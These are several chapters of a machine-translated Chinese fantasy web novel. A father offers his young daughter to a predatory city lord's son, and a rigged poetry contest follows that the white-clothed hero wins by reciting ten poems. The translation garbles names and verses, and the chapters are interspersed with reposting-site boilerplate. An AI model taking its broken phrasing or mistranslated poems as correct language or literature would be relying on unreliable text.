    Xu Gaotian didn''t even blink his eyelids, and said lightly: "Patriarch Ren is here too, who is this?"


    As he said, he looked at the girl standing behind the man with interest.


    At this moment, the girl''s face was pale, shaking like chaff.


    But the more she was like this, the more interesting Xu Gaotian was.


    At this time, the man leaned forward and said with a flattering expression: "Back to Young City Lord, this is the little daughter I want to dedicate to you, named Ren Xing!"


    With that said, he turned his head and glared at Ren Xing, "Hurry up and give a gift to Young City Lord!"


    That''s right.


    This man is the head of the Ren family, that is, Ren Ning''s father, Ren Different.


    He came all the way from Ren''an City in order to naturally cling to the relationship of Xu Gaotian.


    But Ren Ning had defected and left home, so he contributed his youngest daughter, Ren Xing.


    Ren Xing''s trembling ���� gave a salute, "See... I have seen Young City Lord!"


    But Xu Gaotian frowned slightly, "Patriarch Ren, I remember that you were talking to me about your eldest daughter Ren Ning, so why did you change to such a stinky yellow-haired girl in a blink of an eye?"


    Ren Di''s face turned white, and he quickly explained: "Returning to Young City Lord, this is not a small deliberate attempt to deceive you, there is really a last resort!"


    "Oh? What''s the inside story?"


    Ren Di sighed, "My unhappy eldest daughter was ecstatic when she heard that she was going to marry Young City Lord you, but she caused a dark illness and died of a serious illness!"


    Ren Xing''s eyes widened. UU reading


    She never dreamed that these words would come out of her father''s mouth.


    Xu Gaotian gave this Ren a deep look, "Dead?"


    "Yes, those who are already dead can''t die anymore. That''s why I dedicated this little girl. What do you think?" Ren said flatly.


    Xu Gaotian smiled, "Look up!"


    Ren Xing looked up with humiliation.


    "Yeah! It looks good, although it is younger, it is still fresh and delicious. After the essay is over, it will be sent to my room!"


    After that, Xu Gaotian turned around and left.


    Ren was overjoyed when he was different, and he nodded and said: "Yes, yes! I will do it next time!"


    (End of this chapter)

 Chapter 2741： Fighting Poems (Part 1)

    "Invincible, starting with the new book Haige novel from Xianzun Dad ( Find the latest chapter!


    The ugliness of humility is simply disgusting.


    At least Ren Xing looked trembling all over.


    She couldn''t figure it out anyway, how could her father who used to be amiable to herself suddenly become like this.


    The selling girl didn''t ask for glory, but she was shamelessly professing to be her.


    And it was this sentence that ruthlessly shattered all Ren Xing''s fantasies.


    Before coming to Ling''an City, she had comforted herself. She felt that although she was not a beloved, but at any rate, it was the words of her parents that the matchmaker was marrying, so it was not bad to marry into Ling''an General''s Mansion.


    It can be seen from Ren''s different performance now, there is a little bit of the appearance of Dongshan Yue''s father, but he looks like a despicable villain who relies on betraying his daughter to get a future.


    Thinking of this, she couldn''t help feeling nauseated, and her face turned pale as snow.


    Seeing her appearance, she was full of resentment, and felt that her own lady Ren Ning chose to abandon her home completely because of her exclusion, Caidie, the little maid, suddenly felt sorry for her again.


    "Miss!" She gently tugged Ren Xing''s skirt, "Sit down and drink tea!"


    Ren Xing sat down tremblingly.


    Caidie handed over a cup of hot tea, Ren Xing only took a sip and tears burst into her eyes.


    No woman can remain calm when she knows that she is about to be sent to a tiger''s mouth to be slaughtered.


    Ren Xing, who has been arrogant and indulgent since childhood, is even more so.


    "Pick a butterfly!"


    She whispered.


    Caidie leaned down to her ear, "Miss, what''s the matter?"


    "Now I understand that my previous attitude towards Sister Ren Ning was simply wrong, but it was too late. Sister Ning met a man to help her escape from this home. That was her luck. Seriously, I Envy her!"


    Caidie was silent for a while, and finally sighed slightly.


    She is a kind-hearted girl. Although she complained a lot about Ren Xing''s actions before, now seeing her pitiful appearance, I can''t help but want to comfort Ren Xing.


    But she didn''t know what words to use to comfort her. After all, she had an uncertain future at the moment. After Ren Ning left, she was assigned to Ren Xing. If Ren Xing was sent to the General''s Mansion, how would she deal with herself?


    Thinking of this, she couldn''t help but feel a little silly.


    At this moment, with the sound of a crisp gong, the inside and outside of the field could not help but calm down, and then everyone focused their eyes on the high platform.


    Seeing Shi Chang walking to the stage with a smile on his face.


    "Everyone, I have the honor to invite Tang Daru from the Qisi Poetry Club and Miss Yun from the Louwailou. At the same time, the talents and scholars from all over the world are gathered together. It is an unprecedented grand occasion!"


    "Don''t talk nonsense, the next essay will officially begin. Please Tang Daru fortune out the essay title in front of the sage memorial tablet!"


    Tang Zheng settled his mind, stepped to the front of the stage, and then everyone under the stage nodded.


    "Students wait a minute."


    When the words fell, he immediately waved his hand, and the Wensheng tablet, which was originally suspended over the city, arrived in the venue.


    Then I saw Tang Zheng taking a step forward and yelled softly: "Please write the title!"


    boom!


    The Wensheng tablet was prosperous, and immediately afterwards, countless lustrous words emerged from it.


    These words flowed around the venue, and at first glance it seemed as if a galaxy was leaking.


    The faces of the students present were fascinated.


    Because these words are transformed by the literary spirit in the tablet of Wensheng, when they spread, the students who bathed in it will be delighted by it.


    But Wu Jun and Duanmu Guang, who were hiding in the corner, looked very ugly.


    Because they are not students, this sight did not give them a feeling of beauty, but only brought infinite coercion.


    This pressure caused their cultivation to freeze and solidify. Fortunately, this situation only lasted for less than a few seconds, and then these words quickly gathered in Tang Zheng''s hands.


    In the blink of an eye, the sky full of stars disappeared, only Tang Zheng still had a character in his hands that was constantly changing.


    The speed of change gradually slowed down, and finally turned into a big empty word.


    The audience was quiet.


    Then Tang Zheng slowly said: "The divination result of the essay has been released, it is a blank word!"


    In an instant, the crowd boiled.


    "Empty? What the **** is this?" a student asked in astonishment.


    "Who says no? I think my old man has been studying and practicing for so many years, just to make a blockbuster in this essay, but the result is such a tricky and weird topic. Isn''t the old man''s years of hard work in vain?" The old scholastic who has the beard all white slammed his chest.


    There are also students frowning and thinking, searching their stomachs to find verses related to empty words.


    But helpless this empty word is really tricky, even the students who are familiar with the ancient books of the sages of the past are helpless.


    Wu Zizhang frowned for a long time, and couldn''t help but smile when he found nothing.


    "Sure enough, I''m still a superficial student. Brother Han, Brother Yao, have a good eye?"


    Han Bochao and Yao Yachao on the side also shook their heads together, and then the three of them all looked at Zhuo Benzheng with inquiring eyes.


    "How about Brother Zhuo? Are there any gains?"


    Zhuo Ben nodded his head calmly, "Slightly gained!"


    "Sure enough, it must be Brother Zhuo!" The three sighed together.


    As for this Qi Weilan, he looked at his lover with admiration.


    At this moment, I saw Shi Chang stepping forward and laughed: "You guys must have already gained something, but if you just start step by step, it would be a bit boring. It just happens that Miss Yun is here today, so I mentioned A recommendation."


    "The winner of this literary meeting can get a song by Girl Yun, which can be considered a good story. What does Girl Yun think?"


    As soon as this remark came out, there was a commotion in the audience, and many people were excited and looked at Yun Lingxuan.


    Yun Lingxuan was silent for a moment, then nodded, "If there is a masterpiece, why not?"


    In an instant, the whole Wenhui Pavilion, including the crowd watching the lively outside the venue, was boiling over.


    Originally, this literary meeting was already a rare and flourishing age in Ling''an domain.


    If this oiran from the outer building himself composes music to commemorate him, then this will definitely spread and become the most glorious glory of a literati.


    For a while, the eyes of these students turned green.


    Before Shi Chang announced the start, UU reading www. uukanshu. com then some students stood up first to speak out.


    "If that''s the case, then I''m not talented, so I''m going to use it!"


    "You are��."


    "Tan Ziheng in Jiguang City!" the student said proudly.


    This name also shocked many people.


    "It''s actually him!"


    "Tsk tusk, I have long heard that there is a talented talent in Jiguang City, who can speak well when he was young. I didn''t expect him to come too!"


    These comments made Tan Ziheng even more arrogant, but his eyes floated to Yun Lingxuan on the high platform from time to time.


    Shi Chang just smiled faintly at this, "If this is the case, then please go to Master Tan!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2741 Fighting Poems (Part 1)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2742： Fighting poems (middle)

    "Early planets are still there, and the sky is still unknown for a few miles. I can''t distinguish the colors of clouds and forests, but I can hear the sound of geomantic omen." Tan Ziheng muttered.


    As soon as these four lines of poem came out, everyone at the scene couldn''t help but nod their heads.


    "Fresh and timeless, it really is a masterpiece!" An old scholastic hand stroked his beard and exclaimed.


    "As expected, he is a well-known talent in the whole world, he is extraordinary when he makes a shot!"


    "Yeah yeah!"


    Even Yun Lingxuan on the stage couldn''t help nodding her head secretly.


    Although these four poems are not a masterpiece, they are fresh and lovely. They are really rare.


    Hearing everyone''s praise, Tan Ziheng couldn''t help becoming more and more complacent. Although he didn''t say it clearly, his expression was already brought out.


    At this time, Tang Zheng on the stage slowly said: "No, your poem is not over yet, there should be more later!"


    Speaking of this inference in the identity of Tang Zheng naturally moved the audience, and everyone turned their attention to Tan Ziheng.


    "I said, how do I feel that this poem has an unfinished meaning? It turns out that it is not over yet!"


    "Tan Gongzi, hurry up and say all the following verses together!"


    "That''s right, don''t sell it at this time!"


    Amid the noise, Tan Ziheng''s complexion changed drastically. Looking at Tang Zheng on the stage, big beads of sweat appeared on his forehead.


    Tang Zheng said indifferently at this time: "Why? Don''t you remember? Okay, then I''ll talk for you!"


    "The moon falls from the mountain, and the river flows into the bucket. Gradually outside the heavy gate, you can vaguely see the city of Los Angeles."


    When the following four lines of poem came out, Tan Ziheng immediately slumped in the chair, his face pale and his eyes were dull.


    Because he knew that he was finished.


    Sure enough, I heard Tang Zheng say indifferently: "This poem is from an ancient scroll. You can read it and write it down to show that you have a good memory and a good memory. It is a pity that you should not plagiarize and cheat in front of the Wensheng tablet!"


    At this point, everyone realized that this poem was originally copied by Tan Ziheng, and they couldn''t help casting a contemptuous look at it.


    The people from Jieguang City stepped forward with a sullen face and raised Tan Ziheng, who was already unable to walk, and hurriedly left.


    Everyone knew that even though Tan Ziheng was still alive after this incident, he was no longer different from death.


    Under the ruin of his reputation, his context has been broken, and there is no more possibility of diligence.


    And this serious consequence also made all the people present look very sad, and the small calculations of those invisible people in their hearts disappeared.


    Yun Lingxuan on the stage was even more startled, and then whispered to Tang Zheng.


    "Why haven''t I heard this poem?"


    There is a sense of shame in the words.


    After all, when Tan Ziheng just read the poem, she was also bluffed.


    Tang Zheng couldn''t help but smiled, "Miss Yun doesn''t need to be ashamed. This poem comes from an ancient scroll, and it''s a very uncommon poem. I also saw a scroll of ancient scrolls by chance, but I was touched by it by chance. arrive!"


    Yun Lingxuan nodded, and said no more.


    After this episode, the court was quiet for a while, and then a middle-aged scribe Shi Shiran stood up.


    "Since no one is responding now, let me do it!"


    Shi Chang did not ask for his name this time, because many people at the scene recognized him.


    "Fu Yuanfeng is a Fu graduate of Haofeng City!" someone exclaimed in a low voice.


    Even Shi Chang couldn''t help but smile, "University Fu asked for a masterpiece!"


    "I don''t dare to master it, it''s just an occasional feeling!"


    "Frost trees and birds inhabit the night, and the sky-street sparrows report.


    When this poem came out, many people nodded one after another.


    "A simple four-line poem shows the quiet scene before dawn to the fullest, which shows the skill of the Fushige Academy!"


    "It can''t help being so, these four poems are still tightly bound to the main body, and the empty street bird reports it, which can be called the finishing touch!"


    In the praise, there were many cautious people who turned their eyes to Tang Zheng on the stage.


    Tang Zheng closed his eyes and meditated for a while, then opened his eyes and said in a deep voice, "Good poetry!"


    This is equivalent to a conclusive conclusion, proving that Fu Yuanfeng has not plagiarized.


    Fu Yuanfeng smiled and bowed his hand.


    "Thank you Master Tang!"


    Then he sat back on the chair.


    It seemed that he ignited the atmosphere of the audience. As soon as he sat down here, someone stood up on the other side.


    "Yushu has a cold smoke, concentrating on a leaf. Farewell to hurt Xiaojing, shake down thinking about Qiuxian.


    Han Lei Guan Shanyue, Hu Jiasai Beitian. I don''t know how to break my dreams, and I go around a few mountains and rivers in emptiness. "


    Her voice is graceful and beautiful, she is actually a woman.


    Everyone looked around and saw a woman with a delicate face in indigo shirt standing in place.


    "It''s the Zhuang Manningzhuang girl from Qinghuai City!"


    "I have long heard that this girl Zhuang was born with a great talent. I didn''t expect it to be this way. This is clearly a frontier poem!" Someone sighed.


    Even Tang Zheng on the stage couldn''t help showing a touch of emotion at this moment.


    "Big girl!"


    Zhuang Manning chuckled, but his gaze stayed on Yun Lingxuan, especially when he saw her slender fingers, he condensed slightly, and his eyes were obsessed.


    As soon as she came out of this poem, both the imagery and the words overwhelmed Fu Yuanfeng.


    Even Fu Yuanfeng had to nod his head to admit this.


    Although it is said that the literature is not the first, if the gap is too big, the gap can still be clearly seen.


    At this moment, Han Bochao sitting in the corner couldn''t help but feel a little anxious.


    "Brother Zhuo, are your verses ready? There will be no chance if you don''t make a move at this time!"


    "Preparation is naturally ready But if I show up, wouldn''t I expose you all?" Zhuo Benzheng hesitated.


    He naturally understood that this incident in Wanhualou must not be so easy to pass.


    Especially now he is still on the territory of Xu Gaotian, so he has some worries.


    Hearing these words, whether it was Wu Zizhang or Han Bochao, even Yao Yachao, who had always been so mature and prudent, couldn''t help shaking his head at this time.


    "Brother Zhuo''s words are wrong. I think you and I have been studying hard for many years because of such an opportunity? Wouldn''t it be a pity to miss this once-in-a-lifetime opportunity because of my safety?"


    "Yes, Brother Zhuo, even if you do it boldly, if you can win the first place, it will be considered a famous name for our Four Friends of Ren''an!"


    Hearing this encouragement, Zhuo Benzheng just gritted his teeth.


    "If that''s the case, then go ahead!"


    After all, he stood up resolutely.


    "Ren''an City Zhuo is honest and incompetent, and I would like to confess to everyone with a clumsy attitude!"


    As soon as these words came out, the others didn''t do anything. Xu Gaotian, who was sitting on the stage, suddenly raised his eyes and looked at him with extremely cold eyes.


    Zhuo Benzheng naturally felt it too, but as the matter was over, he could only bite the bullet and continue.


    "I don''t see Lay Ming, the mountain is empty but lonely.


    Bai Lian Yin is missing, Qing Ai sits down.


    The spring is cold, and there are six dynasties.


    When the stone goes to the moon, the theory of relativity is at ease. "


    After the poem, the audience was a sensation.


    The invincible chapters of "Invincible, Starting from Xianzun Dad" will continue to be updated on the Xinshuhaige novel novel website, there are no advertisements in the site, please also collect and recommend Xinshuhaige novels!


    I like Invincible, please collect it from Daddy Xianzun: () Invincible, the new book Haige novel is updated fastest from Daddy Xianzun.

 Chapter 2743： Fighting Poems (Part 2)

    "Invincible, starting with the new book Haige novel from Xianzun Dad ( Find the latest chapter!


    "When will the stone go to the moon, the theory of relativity will be easy...good sentence, really rare good sentence!" Someone sighed with admiration.


    "The most important thing is the leisurely beauty contained in this poem, which makes people feel refreshed just by hearing it!" Someone agreed.


    "So far, this is undoubtedly the best in the audience! I really didn''t expect Ren''an City to produce such talents, amazing, amazing!" Someone scratched his head and said.


    As for Tang Zheng on the stage, he leaned slightly, looking at this Zhuo Benzheng saying: "Is this poem you improvised?"


    "Yes!"


    "very good!"


    Although Tang Zheng''s evaluation is only two simple words, its meaning is extraordinary.


    Because this is the affirmation from the top scholars of the Qisi Poetry Society!


    Wu Zizhang, Yao Yachao and others all showed excitement, as for Qie Weilan.


    At this moment, she was still a little bit bold and unrestrained, and she turned into Zhuo Benzheng''s little fan.


    Even Yun Lingxuan on the stage couldn''t help nodding slightly, and there was a touch of appreciation in her eyes.


    Seeing this scene, Xu Gaotian flashed a vicious look in his eyes, stood up abruptly, and said lightly.


    "The poem is good, but unfortunately it is far from the best in the audience!"


    Hearing this, all the eyes of the audience focused on Xu Gaotian.


    In fact, everyone who participated in this literary meeting knew that the reason why the Ling''an general took such great pains to create such a big momentum was definitely to hold his son.


    But the problem is that this Xu Gaotian has always been famous for being stubborn and ruthless. He has never heard of his literary talents, so many people don''t know what Xu Gaotian plans to do even if they have this doubt in their hearts.


    Until now, Xu Gaotian got up directly, and people on and off the court couldn''t help but feel nervous.


    It really came!


    At this moment, I saw Xu Gaotian glance at the stage in time, and then slowly said.


    "Xia Bucai, I just occasionally felt it, and I would like to recite a poem for everyone to see if it is his good or mine!"


    There was a slight commotion among the crowd.


    Unbelief appeared on the faces of many people.


    But this is exactly the effect Xu Gaotian is pursuing.


    Seeing him slam the folding fan and chant the first sentence softly.


    "The flowers are blooming!"


    As soon as this remark came out, many people almost laughed.


    How can this be regarded as a poem, just like the vernacular.


    Only Yun Lingxuan was stunned, and then looked at Xu Gaotian in surprise.


    At this moment, Xu Gaotian continued to utter the next sentence.


    "Thousands of flowers are empty!"


    The audience was quiet, and the contempt in people''s eyes was gone, replaced by a look of consternation and sluggishness.


    After seeing this scene, Xu Gaotian raised the corners of his mouth slightly, showing a triumphant smile, and then uttered the next two sentences.


    "Only one is here, and tomorrow will follow the wind!"


    quiet!


    Whether on or off the court, they fell into a strange silence.


    Many people stared at Xu Gaotian on the stage dumbfounded, with shock and astonishment in their hearts.


    Who would have thought that the eldest son of General Ling''an Mansion, who has always shown himself as a dude, could have such talents.


    Not to mention anything else, this little poem can kill all the previous poems in seconds.


    Xu Gaotian triumphantly looked at the shocked expressions on the faces of everyone in the audience, then gently shook the folding fan and said lightly.


    "I just said that his poems are not the best in the audience, do you have any objections?"


    Facing his questioning, the court was quiet at first, and then a violent noise broke out.


    "Okay! Okay! This poem is truly the best in the audience, and it can even appear in poetry magazines!" Someone said with excitement.


    "The words are simple but the intention is far-reaching, which shows that he has a deep foundation in poetry!" Someone shook their heads, full of fascination.


    Even people who refuse to accept Xu Gaotian anymore have to admit that this poem is indeed a rare masterpiece.


    Wu Zizhang was shocked, and whispered softly in his mouth: "How is it possible, how can he do such a masterpiece with his talents?"


    Han Bochao was even more upset, "If you want me to say it must be plagiarism!"


    "But this essay was written by Tang Zheng in front of everyone. How to cheat?" Yao Yachao frowned.


    "Hehe, what''s the difficulty? As long as this Tang Daru is willing to cooperate, the so-called divination is just a cutscene!" Han Bochao sneered.


    Compared to them, Zhuo Ben was more calm.


    He just quietly looked at the proud Xu Gaotian on the stage, not knowing what he was thinking.


    Qie Weilan was a little worried about him, and gently tugged his hand.


    "Bright!"


    Zhuo Ben was lowering his head and smiled at her, "I''m fine, I was just a little confused just now!"


    In fact, he was far more than he who had the same doubts in his heart, and Yun Lingxuan on the stage was even more shocked.


    She first took a deep look at Xu Gaotian''s back, and then turned her gaze to Tang Zheng who was sitting aside.


    It''s just that Tang Zheng was sitting there quietly at the moment, with a calm expression on his face, and he couldn''t see any happiness or anger.


    At this moment, Xu Gaotian arrogantly charged Zhuo Ben in the far corner with a grin.


    "How? Now what do you have to say?"


    Zhuo Ben was lowering his head, "Sigh, I lost!"


    After that, he sat back on the chair.


    Xu Gaotian laughed loudly, "Who still refuses to accept now?"


    Everyone in the audience look at me and I look at you, but no matter how arrogant the students are, they can''t say a word of rebuttal at this moment.


    Because the poem by Xu Gaotian is here, if you don''t agree with it, you can make a better one, but that is obviously impossible.


    In this situation, everyone bowed their heads to show their surrender.


    Xu Gaotian looked at Tang Zheng triumphantly.


    "Master Tang, announce the result! I can''t wait to hear the song written by Miss Yun for this poem for me!"


    Speaking of the end, he watched Yun Lingxuan greedily, and almost swallowed her in one bite.


    Yun Lingxuan frowned imperceptibly, and at the same time, Tang Zheng stood up, blocking her behind her with a calm expression, and then said lightly.


    "This poem can be regarded as the best in terms of concept and words so I announce that the leader of today''s literary meeting is..."


    Just as he was about to shout out the three words Xu Gaotian, a lazy and slightly ridiculous voice suddenly came from the entrance of the Wenhui Pavilion.


    "Wait a minute, if such a poem can be the leader, then I am not convinced!"


    who?


    The gazes of everyone in the audience converged to the entrance in an instant.


    At the same time, I saw a young man in white walking into the arena with his head up, and behind him was a girl wearing a veil.


    After seeing the two of them, there was a commotion in the audience. Many people looked at each other and saw the doubts in each other''s eyes.


    In order to facilitate the next reading, you can click on the "Favorites" below to record the reading record of this time (Chapter 2743 Fighting Poems (Part 2)), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ! ()

 Chapter 2744： Literary style

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    Because none of them knew the boy in white.


    But they don''t know, but some people do.


    On the stage, Yun Lingxuan''s pupils shrank slightly, and the little servant girl who stood behind her spoke very happily.


    "Miss! It''s the handsome boy!"


    Yun Lingxuan was silent, but clenched her hands into fists unconsciously.


    But if one of the audience is the most shocked, then it must be this Ren Xing.


    She never dreamed that she would see her sister in this place today.


    Especially when she saw her sister following Xue An at the same pace, her heart seemed to be stung by something.


    How could she come here suddenly?


    Doesn''t she know that this is dangerous?


    Originally sitting on a chair and sipping tea happily, Ren Different poofed all the tea in his mouth.


    Then she looked at Ren Ning with murderous intent.


    For his own daughter, Ren Different can be described as hating to the bone.


    Because if it hadn''t been for her sudden defection, it wouldn''t have been possible to make things like this!


    But now she actually dares to come to Ling''an City, what is this not looking for death?


    Also greatly shocked were Wu Jun and Duan Muguang who had been hiding in the corner and waiting for their mobile hands.


    "It''s actually him! Why did he come suddenly?" Duan Muguang murmured.


    Wu Jun said solemnly: "Anyway, he took the initiative to help us clean up the Shura Temple, that is our friend, and if things change later, he will take action in advance!"


    Although Xu Gaotian didn''t recognize Xue An, Xu Gaotian heard everything he just said.


    Especially when he found that the young man in white clothes was still so handsome, the jealousy in his heart could not help but swell, and he sneered.


    "what did you just say?"


    Xue An first smiled at Zhuo Benzheng and the others in the corner, then turned his head to look at Xiang Xu Gaotian, and said with a smile.


    "Did you just not hear what I said? It seems that you are not only bad at character, but your ears are not so good!"


    As soon as this remark came out, the audience was in an uproar.


    No one thought that this young man in white would be so rigid and dare to speak to Xu Gaotian.


    Reminiscent of Xu Gaotian''s past reputation, many people can''t help but feel that their scalp is tingling.


    really.


    Seeing Xu Gaotian''s face suddenly showed extremely fierce killing intent.


    If it weren''t for worrying that there is still a big scholar from the Qisi Poetry Society in the field now, he would really wish to rush over now and crush this kid who suddenly appeared to death.


    I saw him let out a miserable laughter.


    "Okay! Very good, this is the first time someone dared to speak to me in this tone!"


    In the face of the threatening threat, Xue An just smiled faintly, "It''s okay, do you have a first time in everything, you will slowly get used to it in the future!"


    As soon as this remark came out, the little maid snorted aloud, and even though she was shocked, she hurriedly covered her mouth.


    Xu Gaotian was almost furious.


    Since he was a child, he had never experienced this kind of anger, so he wanted to directly kill this kid with his hands.


    At this moment, Shi Chang stepped forward to stop Xu Gaotian, who was about to go violently, and then said to Xue An without a smile.


    "Young people don''t speak too aggressively."


    Xue An chuckled, "Don''t you call a young man with anger?"


    quiet!


    The audience was deadly quiet.


    Even if it was the courageous Qi Weilan, he couldn''t help shrinking his neck at this moment, and whispered softly in his mouth.


    "Young Master Xue is really amazing, dare to talk to General Ling''an like this!"


    Zhuo Benzheng did not speak, but looked at Xue An with worried eyes.


    At the same time, Ren Different eased, and then sat comfortably on the chair, looking at Xue An with a deadly gaze.


    In his opinion, the white-clothed boy was either crazy or just born without knowing the heights and heights of the earth. In this Ling''an City speaking to the city lord in this tone, he would not want to leave the Wenhui Pavilion today.


    And when he died, he would catch this little **** back! Ren didn''t think about it in his heart.


    In this case, everyone looked at Shi Chang.


    When he was silent for a moment, he seemed to be surprised by Xue An''s words, and then he smirked.


    "Okay! Isn''t it a young man who is not arrogant? It''s really courageous, but young man, this is a literary club. Isn''t it wrong for you to come here to make noise?"


    "Oh, I forgot if you didn''t tell me, it turned out to be a literary meeting here!"


    Speaking of this, Xue An looked at Tang Zheng, who was like a wood-carved clay sculpture, and sneered slightly: "I thought this was a big theater garden, otherwise, how could such a wonderful big show just be performed?"


    These words were sarcasm, and Tang Zheng still had no expression on his face, but his eyes were gleaming.


    Shi Chang''s expression was even more stagnant, even if he said murderously: "Come here, blast out this kid who is making trouble at the venue!"


    With an order, countless guards immediately rushed out from every corner, trying to take Xue An away.


    But before they rushed closer, Xue An drank a word.


    "roll!"


    With an order, these people in front of him and behind him were directly knocked out as if they had been struck by lightning.


    Xu Gaotian was furious, "Boy, you are looking for death!"


    As I said, I wanted to do it.


    But at this moment, Xue An said indifferently: "Who said I was here to disturb the venue? Isn''t it a literary meeting? Well, today I will write one for you too, and let you see what it is. poetry!"


    Write poems?


    On and off the stage, on and off the court, everyone did not expect that this young man would suddenly say such a sentence.


    Even the little maids who have a good impression of him are a little dumbfounded and can''t help but whisper: "Miss, does this son really want to write poetry? Can he do it?"


    Yun Lingxuan didn''t speak, but looked deeply at that Zhuo but independent, like a jade young man with a white robe burning like a ball of snow.


    "Just you still writing poems? Die to me!"


    Where can Xu Gaotian listen to these, UU reading www.uukanshu. Com rushed to the front with blood-red eyes, and raised his hand with a punch.


    Under the fist wind, Xue An''s figure flew backwards like a dead leaf in the wind, and then uttered the first sentence while in the air.


    "There is no one in the spring, and the emptiness can''t stay in the sky!"


    As soon as this remark came out, a wave of awe-inspiring righteousness rose into the sky, and the Fang Wensheng memorial tablet suspended above the Wenhui Pavilion was trembling for it.


    Xu Gaotian, who was about to blast his second punch, was also knocked back a few steps by this awe-inspiring spirit.


    At the same time, Xue An stood high in the sky, hunting and hunting all over his body in white clothes.


    "Yinghua follows the world, and the pavilion is sent to the top of the mountain."


    As soon as these two lines of poem came out, that Wensheng tablet was prosperous, and in an instant it flew above Xue An''s head.


    Seeing this scene, Tang Zhenghuo stood up and looked at this scene in disbelief.


    "This this��."


    At the same time, Xue An continued to chant the next two poems.


    "Why is it so late, I am in a daze. Who can solve the golden seal and share the peace in an elegant manner."


    When the words fell, the whole audience was full of style, and only Xue An stood high in the sky, like a **** descending into the world.


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record this (Chapter 2744 Wenqi) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2745： Completely crushed

    You can search for "Invincible, starting from the new book Haige novel ( in Baidu to find the latest chapter!


    Even if it is Xu Gaotian who hates Xue An''s bones and only wants to kill and then quickly, he can''t help but feel lost at this moment, let alone the other people present.


    Whether it was a male or female, young or old, almost all stood up and looked at the white-clothed young man in the air.


    Tang Zheng on the stage whispered even more shockedly.


    "Wen Shengpai actually took the initiative to choose him, how could it be possible, is it possible that his culture has become so strong?"


    The little maidservant was so excited, almost jumping for joy.


    "Miss, this handsome boy is really amazing."


    Yun Lingxuan looked at the figure standing in the air from a distance, and said softly.


    "Yeah! It''s really amazing!"


    The poem that Xue An said just now can be regarded as the best choice in terms of its intentions and words.


    But Yun Lingxuan is more concerned about these visions inspired by Xue An.


    In particular, the Wensheng tablet that took the initiative to fly over his head made Yun Lingxuan even more moved.


    There seemed to be more and more mysteries in this mysterious boy.


    At this moment, Shi Chang on the stage suddenly sneered.


    "The poem is really good, but you just want to rely on it, you are not quite qualified, let alone I don''t think this poem is more brilliant than my son''s poetry!"


    As a general who has been in charge of the spiritual security realm for many years, he will naturally not be easily disturbed by outside visions.


    Hearing his words, Xu Gaotian quickly came to his senses, "Yes! This poem can only be called a good poem, and I am far from winning!"


    Faced with the sophistry of the father and son, Xue An sneered slightly.


    "Isn''t it enough? That''s good, then I''ll let you lose your heart today!"


    Then he stretched out a finger and said lightly: "Listen!"


    Xu Gaotian sneered, "Listen well? Can you still make ten or eight poems?"


    But as soon as his voice fell, Xue An chanted.


    "The osmanthus flowers fall at leisure, and the spring sky is quiet at night. The moon rises to startle the mountains and the birds are screaming in the spring!"


    The smile on Xu Gaotian''s face froze.


    Shi Chang, who had been standing on the stage with the old god, finally changed his face after hearing this poem, and Huo Ran opened his eyes and stared at Xue An.


    But this is far from over, Xue An stretched out his second finger.


    "Middle-aged is quite good, late in Nanshan.


    When Xinglai goes alone, he knows nothing about victory.


    Walk to the poor place and sit and watch the clouds rise.


    Occasionally, Lin old man, chatting and laughing without repayment. "


    Immediately afterwards, Xue An extended a third finger, and read the next poem almost without stopping.


    "No one is seen in the empty mountain, but there is noise. Return to the scene and go into the deep forest, and reappear on the moss!"


    Then Xue An spoke faster and faster, and in the blink of an eye he read a full ten poems about emptiness, and none of them were the same, all of them were excellent works.


    Everyone''s mouths gradually opened as he chanted, and in the end they even turned from shock to numbness.


    Yes!


    No matter how well-informed people are, they have never seen such a masterful act of writing poems like selling vegetables.


    Xue An easily read that piece of fine work like a Chinese cabbage without money. At the same time, it easily shattered the self-esteem of every scholar of scribes present.


    Many people trembled their lips and made up their minds secretly.


    From now on...no more poems!


    There is no other reason, it''s really insulting, and I didn''t play it like this at all.


    I have worked so hard for a lifetime and may not be able to write a masterpiece that can be remembered.


    This is not good, and he casually said it is a shocking article, the gap is so desperate.


    Even Yun Lingxuan, who had been sitting on the chair, had already stood up and came to the front of the stage without knowing when she looked at the young man in white who screamed Fang Qiu in the air with an innocent temperament.


    Wu Zizhang in the corner suddenly sighed.


    "I don''t know what a real talent is today. Sometimes the gap between people and people is really bigger than that between people and dogs!"


    Although these remarks were crude, Han Bochao, Yao Yachao and the others were deeply impressed.


    At the same time, after reading ten poems, Xue An clenched his palms into fists, and looked at the dumbfounded Shi Chang and Xu Gaotian father and son indifferently.


    "Now, is that enough?"


    The whole audience could hear the voices of some people shaking their teeth because they were too excited.


    Many students'' faces flushed with excitement.


    Because they knew that even though they failed to make a name for themselves at this literary meeting, they could be regarded as witnessing history.


    This scene will definitely be recorded in the history books, and I can proudly say that I have witnessed this shocking scene with my own eyes.


    Looking at Shi Chang and Xu Gaotian, the father and son, their faces were all pale.


    No matter how unreasonable they were, when Xue An read ten poems with almost crushing advantages, they all knew clearly.


    I lost!


    And the loss was a complete failure.


    But after a while, Shi Chang took the lead in reacting.


    The expression on his face was fluctuating, and finally changed to a smiley expression.


    "Hahahaha really is a rare talent, I really didn''t expect to be able to witness these stories in my Ling''an City Lord''s mansion!"


    This sudden change in attitude left many people confused.


    Especially this Xu Gaotian, saw him yell impatiently.


    "Father!"


    Shi Chang gave him a fierce look, and then continued to speak.


    "My son, there is no doubt that you won this literary meeting. I was just doing a routine job just now. I hope you won''t be offended!"


    After all, he bowed his hand to Xue An in a serious manner.


    Not to mention anything else, based on the seamless connection and conversion of the former and the latter, it can be seen that this Shi Chang is definitely a man of the deepest in the city. UU reading


    But I have to say that his performance successfully deceived many people present.


    Everyone sighed secretly, and the expressions on their faces became active.


